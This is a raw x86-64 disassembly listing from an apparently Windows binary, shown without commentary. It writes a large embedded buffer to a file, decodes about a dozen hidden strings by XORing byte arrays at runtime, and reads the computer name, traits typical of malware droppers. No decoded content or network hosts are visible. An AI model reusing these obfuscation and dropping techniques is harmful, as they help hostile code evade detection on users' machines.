je 0x402caf
mov r8d, 0x7de800
mov rcx, r15
mov rsi, qword [rsp + 0x60]
mov rdx, rsi
call fcn.0040ade9
lea rcx, [rsp + 0x8e0]
call fcn.0040b2d7
mov r14, qword [rsp + 0x78]
and r14, 0xffffffffffffff00
lea rcx, [rsp + 0x8c0]
call fcn.0040b753
jmp 0x402ce5
lea rcx, [rsp + 0x8e0]
call fcn.0040b2d7
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
call fcn.00404ef9
lea rcx, [rsp + 0x8c0]
call fcn.0040b753
xor r14d, r14d
push 0x13
pop rax
mov qword [rsp + 0x78], rax
xor esi, esi
mov rdi, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x88]
mov r15, qword [rsp + 0x80]
mov rcx, rbx
mov rdx, r15
call fcn.00404ef9
mov qword [rsp + 0x60], rsi
test rsi, rsi
je 0x4048ad
lea rsi, [rsp + 0x8e0]
mov rcx, rsi
mov rdx, rdi
mov r8, r13
xor r9d, r9d
call fcn.0040e453
cmp qword [rsi], 0
je 0x402e65
mov qword [rsp + 0x70], r14
mov rbx, qword [rsp + 0x8e8]
mov rcx, r13
call fcn.0040ec0d
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdx
and qword [rsp + 0x130], 0
cmp rbx, r13
ja 0x4048ad
lea r8, [rdi + rbx]
lea rsi, [rsp + 0x120]
mov rcx, rsi
mov rdx, rdi
call fcn.00404a88
lea r14, [0x00c00770]
lea r12, [0x00c00773]
mov rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.00404a88
lea r13, [rsp + 0x8e0]
mov r15, rbx
add r15, 3
mov rcx, r13
mov rdx, rdi
mov r8, qword [rsp + 0x68]
mov r9, r15
call fcn.0040e453
cmp qword [rsp + 0x8e0], 0
je 0x402e0e
mov rbx, qword [rsp + 0x8e8]
cmp r15, rbx
ja 0x4048ad
cmp rbx, qword [rsp + 0x68]
ja 0x4048ad
add r15, rdi
lea r8, [rdi + rbx]
mov rcx, rsi
mov rdx, r15
call fcn.00404a88
mov rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.00404a88
jmp 0x402dab
mov r8, qword [rsp + 0x68]
cmp r15, r8
ja 0x4048ad
add r15, rdi
add r8, rdi
lea rsi, [rsp + 0x120]
mov rcx, rsi
mov rdx, r15
call fcn.00404a88
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x5c0], rax
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0x5b0], xmm0
lea rax, [rsp + 0x5b0]
lea rcx, [rsp + 0x520]
mov r14, qword [rsp + 0x70]
jmp 0x402e8e
mov qword [rsp + 0x5b8], rdi
mov qword [rsp + 0x5c0], r13
and qword [rsp + 0x5b0], 0
lea rax, [rsp + 0x5b0]
lea rcx, [rsp + 0x520]
mov qword [rsp + 0x520], rax
lea rax, [0x00c00218]
lea rdx, [rsp + 0x8e0]
mov qword [rdx], rax
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
lea rax, [0x004017fd]
mov qword [rsp + 0x528], rax
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x120]
call fcn.00405037
mov rcx, qword [rsp + 0x5b0]
test rcx, rcx
je 0x402ef7
mov rdx, qword [rsp + 0x5b8]
call fcn.00404ef9
lea rsi, [rsp + 0x120]
mov rdx, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rsp + 0xb8], rax
mov r8, qword [rsi + 0x10]
mov rcx, rsi
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x88], r8
call fcn.0040510e
lea r8, [rsp + 0x8e0]
and dword [r8 + 0x20], 0
and word [r8 + 0x24], 0
mov rdi, qword [rsi]
and dword [r8], 0
mov rdx, qword [rsi + 0x10]
pxor xmm0, xmm0
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], 7
mov al, 1
mov byte [r8 + 0x21], al
mov byte [r8 + 0x24], al
mov byte [r8 + 0x23], al
mov rcx, rdi
call fcn.0041322b
mov rbx, rdx
test rax, rax
je 0x402f7f
mov rsi, qword [rsp + 0x60]
jmp 0x40300d
mov r13, r14
mov esi, 0x7de800
lea r14, [rsp + 0x8e0]
mov r12, qword [rsp + 0x60]
test rsi, rsi
je 0x402fee
mov rcx, r14
mov rdx, rbx
mov r8, r12
mov r9, rsi
call fcn.0040f257
cmp qword [rsp + 0x8e0], 0
je 0x402fd3
mov r15, qword [rsp + 0x8e8]
mov rcx, r15
call fcn.0040efbf
test al, al
je 0x402ffa
mov rcx, r15
call fcn.0040dfef
jmp 0x402f94
mov rax, qword [rsp + 0x8e8]
test rax, rax
je 0x402ff3
sub rsi, rax
jb 0x4048ad
add r12, rax
jmp 0x402f94
xor r15d, r15d
jmp 0x402ffa
lea r15, str.failed_to_write_whole_buffer
mov rsi, qword [rsp + 0x60]
mov r14, r13
mov rcx, rbx
call sub.kernel32.dll_CloseHandle
mov rbx, r15
movzx eax, byte [rsp + 0x78]
or r14, rax
mov rcx, rsi
mov rdx, r14
call fcn.00404ef9
mov rdx, qword [rsp + 0x128]
mov rcx, rdi
call fcn.00404ef9
test rbx, rbx
jne 0x4048ad
push 8
pop rdx
mov ecx, 0x138
call fcn.0040175a
mov qword [rsp + 0x68], rax
push 2
pop rdi
push 1
pop rbx
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov rsi, rax
mov word [rax], 0x123b
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov word [rax], 0x7d16
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
xor ecx, ecx
cmp rcx, 2
je 0x40309f
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x40308e
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov r13, qword [rsp + 0x8e0]
mov r15, qword [rsp + 0x8e8]
mov rbx, qword [rsp + 0x8f0]
push 2
pop rdi
mov rcx, rsi
mov rdx, rdi
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x78], rax
mov rcx, rax
mov rdx, r13
mov qword [rsp + 0x60], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 0x1d
pop rbx
push 1
pop r14
mov rcx, rbx
mov rdx, r14
call fcn.0040175a
mov rsi, rax
movaps xmm0, xmmword [0x00421010]
movups xmmword [rax], xmm0
movabs rax, 0x5b0ce0123b3afe3f
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], 0x9669e60
mov byte [rsi + 0x1c], 0x88
mov rcx, rbx
mov rdx, r14
call fcn.0040175a
movdqa xmm0, xmmword [0x00421020]
movdqu xmmword [rax], xmm0
movabs rcx, 0x3663833c48489b51
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], 0x3b57af5a
mov byte [rax + 0x1c], 0xbb
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], rbx
xor ecx, ecx
cmp rcx, 0x1d
je 0x4031a2
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x403191
lea rbx, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rbx
call fcn.00401777
cmp byte [rbx + 0x20], 2
jne 0x4048ad
mov r12, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0xb0], rax
mov rbx, qword [rsp + 0x8f0]
push 0x1d
pop rdx
mov rcx, rsi
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0xa0], rax
mov rcx, rax
mov rdx, r12
mov qword [rsp + 0xa8], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 1
pop rbx
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov rsi, rax
mov word [rax], 0x3e76
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov word [rax], 0x4b5b
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
xor ecx, ecx
cmp rcx, 2
je 0x40326e
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x40325d
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov rbx, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x510], rax
mov r14, qword [rsp + 0x8f0]
push 2
pop rdi
mov rcx, rsi
mov rdx, rdi
call fcn.00404ef9
mov rcx, r14
call fcn.0040ec0d
mov qword [rsp + 0x4f8], rdx
mov qword [rsp + 0x500], rax
mov rcx, rax
mov qword [rsp + 0x518], rbx
mov rdx, rbx
mov qword [rsp + 0x508], r14
mov r8, r14
call sub.ntdll.dll_memcpy
push 0x63
pop rsi
push 1
pop rbx
mov rcx, rsi
mov rdx, rbx
call fcn.0040175a
mov r14, rax
movaps xmm0, xmmword [0x00421030]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x00421040]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x00421050]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x00421060]
movups xmmword [rax + 0x30], xmm0
movaps xmm0, xmmword [0x00421070]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [0x00421080]
movups xmmword [rax + 0x50], xmm0
mov word [rax + 0x60], 0xd70
mov byte [rax + 0x62], 0x9a
mov rcx, rsi
mov rdx, rbx
call fcn.0040175a
movaps xmm0, xmmword [0x00421090]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x004210a0]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x004210b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x004210c0]
movups xmmword [rax + 0x30], xmm0
movaps xmm0, xmmword [0x004210d0]
movups xmmword [rax + 0x40], xmm0
movdqa xmm0, xmmword [0x004210e0]
movdqu xmmword [rax + 0x50], xmm0
mov word [rax + 0x60], 0x5749
mov byte [rax + 0x62], 0xf1
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], rsi
xor ecx, ecx
cmp rcx, 0x63
je 0x4033d7
mov dl, byte [r14 + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x4033c5
lea rsi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rsi
call fcn.00401777
cmp byte [rsi + 0x20], 2
jne 0x4048ad
mov rsi, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x4e8], rax
mov rbx, qword [rsp + 0x8f0]
push 0x63
pop rdx
mov rcx, r14
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x4d0], rdx
mov qword [rsp + 0x4d8], rax
mov rcx, rax
mov qword [rsp + 0x4f0], rsi
mov rdx, rsi
mov qword [rsp + 0x4e0], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 1
pop rbx
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov rsi, rax
mov word [rax], 0xb959
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov word [rax], 0xc974
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
xor ecx, ecx
cmp rcx, 2
je 0x4034ab
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x40349a
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov qword [rsp + 0x4c0], r12
mov qword [rsp + 0x4c8], r15
lea r14, [rsp + 0x8e0]
mov rbx, qword [r14]
mov rax, qword [r14 + 8]
mov qword [rsp + 0x4b8], rax
mov r15, qword [r14 + 0x10]
push 2
pop rdi
mov rcx, rsi
mov rdx, rdi
call fcn.00404ef9
mov rcx, r15
call fcn.0040ec0d
mov rsi, rax
mov qword [rsp + 0x4a8], rdx
mov rcx, rax
mov rdx, rbx
mov qword [rsp + 0x4b0], r15
mov r8, r15
call sub.ntdll.dll_memcpy
and dword [r14], 0
push 5
pop rcx
xor edx, edx
mov r8, r14
call sub.kernel32.dll_GetComputerNameExW
mov r14d, dword [r14]
test r14, r14
je 0x4048ad
mov rcx, r14
mov dl, 1
call fcn.0040d8ca
mov r15, rax
mov r12, rdx
push 5
pop rcx
lea r8, [rsp + 0x8e0]
mov rdx, rax
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
je 0x4048ad
mov eax, dword [rsp + 0x8e0]
lea rcx, [r14 - 1]
cmp rcx, rax
jne 0x4048ad
lea rcx, [r14 + r14]
xor eax, eax
mov qword [rsp + 0x4a0], rbx
mov qword [rsp + 0x498], rsi
test rcx, rcx
je 0x4035ba
cmp word [r15 + rax*2], 0
je 0x4035b7
inc rax
add rcx, 0xfffffffffffffffe
jmp 0x4035a1
mov r14, rax
lea rsi, [rsp + 0x120]
mov rcx, rsi
mov rdx, r15
mov r8, r14
call fcn.0040e551
mov rcx, r15
mov rdx, r12
call fcn.0040ed9a
lea rbx, [rsp + 0x8e0]
mov rcx, rbx
mov rdx, rsi
call fcn.00412f7d
cmp byte [rbx + 0x18], 2
jne 0x4048ad
mov rax, qword [rsp + 0x8f0]
mov qword [rsp + 0x5c0], rax
movdqu xmm0, xmmword [rsp + 0x8e0]
movdqa xmmword [rsp + 0x5b0], xmm0
push 1
pop rbx
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov rsi, rax
mov word [rax], 0x1e42
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov word [rax], 0x7f6f
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
xor ecx, ecx
cmp rcx, 2
je 0x40366b
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x40365a
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov r15, qword [rsp + 0x8e0]
mov r12, qword [rsp + 0x8e8]
mov rbx, qword [rsp + 0x8f0]
push 2
pop rdi
mov rcx, rsi
mov rdx, rdi
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x480], rdx
mov qword [rsp + 0x488], rax
mov rcx, rax
mov rdx, r15
mov qword [rsp + 0x490], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 1
pop rbx
push 4
pop r14
mov rcx, r14
mov rdx, rbx
call fcn.0040175a
mov rsi, rax
mov dword [rax], 0x77aaa27a
mov rcx, r14
mov rdx, rbx
call fcn.0040175a
mov dword [rax], 0x4785da08
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], r14
xor ecx, ecx
cmp rcx, 4
je 0x403738
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x403727
lea rbx, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rbx
call fcn.00401777
cmp byte [rbx + 0x20], 2
jne 0x4048ad
mov r14, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x478], rax
mov rbx, qword [rsp + 0x8f0]
push 4
pop rdx
mov rcx, rsi
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x460], rdx
mov qword [rsp + 0x468], rax
mov rcx, rax
mov rdx, r14
mov qword [rsp + 0x470], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 1
pop rbx
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov rsi, rax
mov word [rax], 0xc41c
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov word [rax], 0xaf31
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
xor ecx, ecx
cmp rcx, 2
je 0x403804
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x4037f3
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov rdi, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x450], rax
mov rbx, qword [rsp + 0x8f0]
push 2
pop rdx
mov rcx, rsi
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x438], rdx
mov qword [rsp + 0x440], rax
mov rcx, rax
mov qword [rsp + 0x458], rdi
mov rdx, rdi
mov qword [rsp + 0x448], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 1
pop rdi
push 0x13
pop rbx
mov rcx, rbx
mov rdx, rdi
call fcn.0040175a
mov rsi, rax
movaps xmm0, xmmword [0x004210f0]
movups xmmword [rax], xmm0
mov word [rax + 0x10], 0x9f3a
mov byte [rax + 0x12], 0xd1
mov rcx, rbx
mov rdx, rdi
call fcn.0040175a
movdqa xmm0, xmmword [0x00421100]
movdqu xmmword [rax], xmm0
mov word [rax + 0x10], 0xfa5d
mov byte [rax + 0x12], 0xa2
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], rbx
xor ecx, ecx
cmp rcx, 0x13
je 0x4038fb
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x4038ea
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov rdi, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x428], rax
mov rbx, qword [rsp + 0x8f0]
push 0x13
pop rdx
mov rcx, rsi
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x410], rdx
mov qword [rsp + 0x418], rax
mov rcx, rax
mov qword [rsp + 0x430], rdi
mov rdx, rdi
mov qword [rsp + 0x420], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 1
pop rdi
push 0xe
pop rbx
mov rcx, rbx
mov rdx, rdi
call fcn.0040175a
mov rsi, rax
movabs rax, 0xc2ba787639925f26
mov qword [rsi], rax
mov dword [rsi + 8], 0xaffff45
mov word [rsi + 0xc], 0xd7ea
mov rcx, rbx
mov rdx, rdi
call fcn.0040175a
movabs rcx, 0xadd4550349f1720b
mov qword [rax], rcx
mov dword [rax + 8], 0x6f968668
mov word [rax + 0xc], 0xb386
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], rbx
xor ecx, ecx
cmp rcx, 0xe
je 0x4039fc
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x4039eb
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov rdi, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x3e8], rax
mov rbx, qword [rsp + 0x8f0]
push 0xe
pop rdx
mov rcx, rsi
call fcn.00404ef9
mov rcx, rbx
call fcn.0040ec0d
mov qword [rsp + 0x3d0], rdx
mov qword [rsp + 0x3d8], rax
mov rcx, rax
mov qword [rsp + 0x3f0], rdi
mov rdx, rdi
mov qword [rsp + 0x3e0], rbx
mov r8, rbx
call sub.ntdll.dll_memcpy
push 0x10
pop rdi
push 1
pop rbx
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
mov rsi, rax
movaps xmm0, xmmword [0x00421110]
movups xmmword [rax], xmm0
mov rcx, rdi
mov rdx, rbx
call fcn.0040175a
movdqa xmm0, xmmword [0x00421120]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
xor ecx, ecx
cmp rcx, 0x10
je 0x403adf
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x403ace
mov qword [rsp + 0x3f8], r14
mov qword [rsp + 0x400], r12
mov qword [rsp + 0x408], r13
lea rdi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rdi
call fcn.00401777
cmp byte [rdi + 0x20], 2
jne 0x4048ad
mov rdi, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x3c0], rax
mov r13, qword [rsp + 0x8f0]
push 0x10
pop rdx
mov rcx, rsi
call fcn.00404ef9
mov rcx, r13
call fcn.0040ec0d
mov qword [rsp + 0x3b0], rdx
mov qword [rsp + 0x3b8], rax
mov rcx, rax
mov qword [rsp + 0x3c8], rdi
mov rdx, rdi
mov r8, r13
call sub.ntdll.dll_memcpy
push 0x15
pop rsi
push 1
pop r14
mov rcx, rsi
mov rdx, r14
call fcn.0040175a
mov r12, rax
movaps xmm0, xmmword [0x00421130]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x448cd78a
mov byte [rax + 0x14], 0x44
mov rcx, rsi
mov rdx, r14
call fcn.0040175a
movdqa xmm0, xmmword [0x00421140]
movdqu xmmword [rax], xmm0
mov dword [rax + 0x10], 0x2be0f9e4
mov byte [rax + 0x14], 0x23
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], rsi
xor ecx, ecx
cmp rcx, 0x15
je 0x403bea
mov dl, byte [r12 + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x403bd8
mov rbx, r15
lea rsi, [rsp + 0x8e0]
lea rdx, [rsp + 0x120]
mov rcx, rsi
call fcn.00401777
cmp byte [rsi + 0x20], 2
jne 0x4048ad
mov rsi, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x3a8], rax
mov rdi, qword [rsp + 0x8f0]
push 0x15
pop rdx
mov rcx, r12
call fcn.00404ef9
mov rcx, rdi
call fcn.0040ec0d
mov r12, rax
mov r15, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.ntdll.dll_memcpy
mov rcx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x80]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x60]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0xa0]
mov qword [rcx + 0x18], rax
mov rax, qword [rsp + 0x98]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0xa8]
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0x500]
mov qword [rcx + 0x30], rax
mov rax, qword [rsp + 0x4f8]
mov qword [rcx + 0x38], rax
mov rax, qword [rsp + 0x508]
mov qword [rcx + 0x40], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rcx + 0x48], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rcx + 0x50], rax
mov rax, qword [rsp + 0x4e0]
mov qword [rcx + 0x58], rax
mov rax, qword [rsp + 0x498]
mov qword [rcx + 0x60], rax
mov rax, qword [rsp + 0x4a8]
mov qword [rcx + 0x68], rax
mov rax, qword [rsp + 0x4b0]
mov qword [rcx + 0x70], rax
movdqa xmm0, xmmword [rsp + 0x5b0]
movdqu xmmword [rcx + 0x78], xmm0
mov rax, qword [rsp + 0x5c0]
mov qword [rcx + 0x88], rax
mov rax, qword [rsp + 0x488]
mov qword [rcx + 0x90], rax
mov rax, qword [rsp + 0x480]
mov qword [rcx + 0x98], rax
mov rax, qword [rsp + 0x490]
mov qword [rcx + 0xa0], rax
mov rax, qword [rsp + 0x468]
mov qword [rcx + 0xa8], rax
mov rax, qword [rsp + 0x460]
mov qword [rcx + 0xb0], rax
mov rax, qword [rsp + 0x470]
mov qword [rcx + 0xb8], rax
mov rax, qword [rsp + 0x440]
mov qword [rcx + 0xc0], rax
mov rax, qword [rsp + 0x438]
mov qword [rcx + 0xc8], rax
mov rax, qword [rsp + 0x448]
mov qword [rcx + 0xd0], rax
mov rax, qword [rsp + 0x418]
mov qword [rcx + 0xd8], rax
mov rax, qword [rsp + 0x410]
mov qword [rcx + 0xe0], rax
mov rax, qword [rsp + 0x420]
mov qword [rcx + 0xe8], rax
mov rax, qword [rsp + 0x3d8]
mov qword [rcx + 0xf0], rax
mov rax, qword [rsp + 0x3d0]
mov qword [rcx + 0xf8], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rcx + 0x100], rax
mov rax, qword [rsp + 0x3b8]
mov qword [rcx + 0x108], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rcx + 0x110], rax
mov qword [rcx + 0x118], r13
mov qword [rcx + 0x120], r12
mov qword [rcx + 0x128], r15
mov qword [rcx + 0x130], rdi
mov rcx, rsi
mov rdx, qword [rsp + 0x3a8]
call fcn.00404ef9
mov rcx, qword [rsp + 0x3c8]
mov rdx, qword [rsp + 0x3c0]
call fcn.00404ef9
mov rcx, qword [rsp + 0x3f0]
mov rdx, qword [rsp + 0x3e8]
call fcn.00404ef9
mov rcx, qword [rsp + 0x430]
mov rdx, qword [rsp + 0x428]
call fcn.00404ef9
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x450]
call fcn.00404ef9
mov rcx, qword [rsp + 0x3f8]
mov rdx, qword [rsp + 0x478]
call fcn.00404ef9
mov rcx, rbx
mov rdx, qword [rsp + 0x400]
call fcn.00404ef9
mov rcx, qword [rsp + 0x4a0]
mov rdx, qword [rsp + 0x4b8]
call fcn.00404ef9
mov rcx, qword [rsp + 0x4f0]
mov rdx, qword [rsp + 0x4e8]
call fcn.00404ef9
mov rcx, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x510]
call fcn.00404ef9
mov rcx, qword [rsp + 0x4c0]
mov rdx, qword [rsp + 0xb0]
call fcn.00404ef9
mov rcx, qword [rsp + 0x408]
mov rdx, qword [rsp + 0x4c8]
call fcn.00404ef9
lea rsi, [rsp + 0x120]
mov rcx, rsi
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x88]
call fcn.0040510e
mov rdi, qword [rsi]
mov rbx, qword [rsi + 0x10]
mov rcx, rbx
call fcn.0040ec0d
mov r15, rax
mov r12, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.ntdll.dll_memcpy
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x978], xmm0
mov qword [rsp + 0x910], r15
mov qword [rsp + 0x918], r12
mov qword [rsp + 0x920], rbx
mov byte [rsp + 0x928], 0
mov qword [rsp + 0x970], 8
and qword [rsp + 0x930], 0
and qword [rsp + 0x940], 0
and word [rsp + 0x948], 0
mov byte [rsp + 0x968], 2
and dword [rsp + 0x9a0], 0
and word [rsp + 0x9a4], 0
push 6
pop rdi
mov dword [rsp + 0x8e0], edi
mov dword [rsp + 0x8f0], edi
mov dword [rsp + 0x900], edi
and qword [rsp + 0x988], 0
and qword [rsp + 0x998], 0
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.00404ef9
mov ecx, dword [rsp + 0x8f0]
cmp ecx, edi
je 0x40402d
mov rdx, qword [rsp + 0x8f8]
call fcn.004175b5
lea rax, [rsp + 0x970]
mov dword [rax - 0x80], 3
mov rax, qword [rsp + 0x68]
lea rcx, [rax + 0x138]
mov qword [rsp + 0x60], rcx
lea r15, [rax + 0x10]
cmp r14, 0xe
je 0x404113
mov rsi, qword [r15 - 0x10]
test rsi, rsi
je 0x40411d
mov r12, qword [r15 - 8]
mov r13, qword [r15]
mov rcx, r13
call fcn.0040ec0d
mov rbx, rax
mov rdi, rdx
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sub.ntdll.dll_memcpy
mov rdx, qword [rsp + 0x980]
cmp rdx, qword [rsp + 0x978]
jne 0x4040b2
lea rcx, [rsp + 0x970]
call fcn.004118f5
mov rdx, qword [rsp + 0x980]
mov rax, qword [rsp + 0x970]
imul rcx, rdx, 0x28
and qword [rax + rcx], 0
mov qword [rax + rcx + 8], rbx
mov qword [rax + rcx + 0x10], rdi
mov qword [rax + rcx + 0x18], r13
mov byte [rax + rcx + 0x20], 0
mov r8d, dword [rsp + 0x120]
mov r9d, dword [rsp + 0x123]
mov dword [rax + rcx + 0x21], r8d
mov dword [rax + rcx + 0x24], r9d
inc rdx
mov qword [rsp + 0x980], rdx
mov rcx, rsi
mov rdx, r12
call fcn.00404ef9
add r15, 0x18
inc r14
jmp 0x404051
mov rax, qword [rsp + 0x60]
mov rdi, rax
jmp 0x40412e
imul rax, r14, 0x18
mov rdi, qword [rsp + 0x68]
add rdi, rax
mov rax, qword [rsp + 0x60]
sub rax, rdi
push 0x18
pop rcx
xor edx, edx
div rcx
mov rsi, rax
add rdi, 8
sub rsi, 1
jb 0x404158
mov rcx, qword [rdi - 8]
mov rdx, qword [rdi]
call fcn.00404ef9
add rdi, 0x18
jmp 0x404140
push 8
pop rdx
mov rcx, qword [rsp + 0x68]
call fcn.00404990
lea rsi, [rsp + 0x120]
lea rdx, [rsp + 0x8e0]
mov rcx, rsi
call fcn.00413aa6
mov rax, qword [rsi]
mov qword [rsp + 0x68], rax
cmp rax, 2
je 0x4048ad
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x98], rax
